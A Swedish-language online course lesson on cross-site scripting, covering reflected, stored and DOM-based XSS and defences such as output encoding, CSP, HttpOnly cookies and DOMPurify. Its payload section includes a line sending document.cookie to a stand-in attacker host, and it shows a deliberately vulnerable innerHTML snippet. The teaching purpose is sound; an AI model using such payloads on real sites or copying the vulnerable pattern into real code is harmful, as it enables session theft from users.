Cyber Security Academy · Lektion

Cross-Site Scripting (XSS)

Utforska reflekterad, lagrad och DOM-baserad XSS med verkliga payloads och CSP-motåtgärder.

Lektion 2 av 413 steg

Cross-Site Scripting (XSS) är en gratis lektion i Cyber Security Academy på CoddyKit. Detta är lektion 2 av 4. Du kan läsa vilka 3 lektioner som helst i den här lärvägen kostnadsfritt i sin helhet – därefter låser CoddyKit PRO upp alla lektioner, plus praktisk övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Den ingår i lärvägen för Cyber Security Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i Cyber Security Academy innehåller totalt 4 lektioner.

Vad är XSS?

Cross-Site Scripting (XSS) inträffar när en angripare injicerar skadlig JavaScript-kod i en webbsida som visas av andra användare. Webbläsaren kör skriptet i offrets session, vilket möjliggör stöld av cookies, tangentbordsloggning och manipulering av sidan.

Reflekterad XSS

Reflekterad XSS (icke-beständig): det skadliga skriptet inkluderas i begäran (till exempel som en URL-parameter) och reflekteras i svaret. Offret måste klicka på en specialskapad länk. Exempel: https://site.com/search?q=<script>alert(1)</script>

Lagrad XSS

Lagrad XSS (beständig): det skadliga skriptet sparas i databasen (till exempel i en kommentar eller ett profilfält) och skickas till varje besökare. Farligare än reflekterad XSS eftersom ingen särskild länk behövs – varje sidvisning utlöser skriptet.

DOM-baserad XSS

DOM-baserad XSS inträffar när JavaScript läser angriparkontrollerade data (URL-hash eller frågeparameter) och skriver dem till DOM utan sanering. Angreppet sker helt på klientsidan; servern ser aldrig payloaden.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

XSS-konsekvenser

Det här kan en angripare göra med XSS:

  • Stjäla sessionscookies (document.cookie) → ta över kontot
  • Logga tangenttryckningar (stjäla lösenord medan de skrivs)
  • Omdirigera till nätfiskesidor
  • Utföra åtgärder som offret (CSRF via XSS)
  • Förvanska sidan

XSS-payloader

Enkla testpayloader:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Kodning av utdata

Det främsta skyddet är att koda all användarkontrollerad utdata innan den infogas i HTML. Konvertera specialtecken till HTML-entiteter: < → &lt;, > → &gt;, " → &quot;.

Använd kodning som är anpassad till sammanhanget: HTML, JS, URL och CSS.

Content Security Policy (CSP)

CSP är en svarsrubrik som talar om för webbläsaren vilka skript som får köras. En strikt CSP blockerar infogade skript och begränsar källorna:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

HttpOnly-cookies

Om du ställer in flaggan HttpOnly på sessionscookies förhindras JavaScript från att läsa dem via document.cookie. Även om XSS utlöses kan angriparen inte stjäla sessionstokenen. Detta är det viktigaste skyddslagret tillsammans med kodning av utdata.

Saneringsbibliotek

När användare måste tillåtas mata in HTML (till exempel i avancerade textredigerare) ska du använda ett saneringsbibliotek i stället för att skriva ett eget:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Testning av XSS

Testa efter XSS med webbläsarens utvecklarverktyg, Burp Suite eller automatiserade skannrar. Kontrollera alla fält för användarinmatning, URL-parametrar, HTTP-headers och DOM-sink-funktioner: innerHTML, document.write, eval och setTimeout med strängargument.

Snabbtest: XSS

Vilken XSS-typ lagrar den skadliga payloaden i databasen, så att den körs för varje besökare på den berörda sidan?

Lektionens sammanfattning

XSS injicerar JavaScript i sidor som visas av offer. Typerna är reflekterad XSS (URL-baserad), lagrad XSS (sparad i databasen) och DOM-baserad XSS (på klientsidan). De främsta skydden är kodning av utdata, HttpOnly-cookies och Content Security Policy. Använd DOMPurify för HTML-sanering. Infoga aldrig osanerade användardata i innerHTML eller eval().

Gratis att börja

Lär dig Cyber Security Academy med en AI-lärare – gratis

Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.

Kurser
76
Lektioner
303

Vanliga frågor

Är lektionen ”Cross-Site Scripting (XSS)” gratis?

Ja – du kan läsa vilka 3 lektioner som helst i lärvägen Cyber Security Academy, inklusive ”Cross-Site Scripting (XSS)”, kostnadsfritt i sin helhet här på webben. Därefter låser CoddyKit PRO upp alla lektioner, plus interaktiv övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Kursen i Cyber Security Academy innehåller totalt 4 lektioner.

Vad lär jag mig i ”Cross-Site Scripting (XSS)”?

Utforska reflekterad, lagrad och DOM-baserad XSS med verkliga payloads och CSP-motåtgärder. Ni övar på Cyber Security Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.

Behöver jag någon erfarenhet för att börja lära mig Cyber Security Academy?

Du behöver inga förkunskaper. Utbildningen i Cyber Security Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 2 av 4.

Hur lång tid tar lektionen ”Cross-Site Scripting (XSS)”?

De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.

Kan jag skriva och köra kod i den här Cyber Security Academy-lektionen?

Ja. Varje Cyber Security Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.

Alla lektioner i den här kursen

  1. SQL-injektion: hur och varför det fungerar
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Felkonfigurationer och exponerade tjänster
← Tillbaka till Cyber Security Academy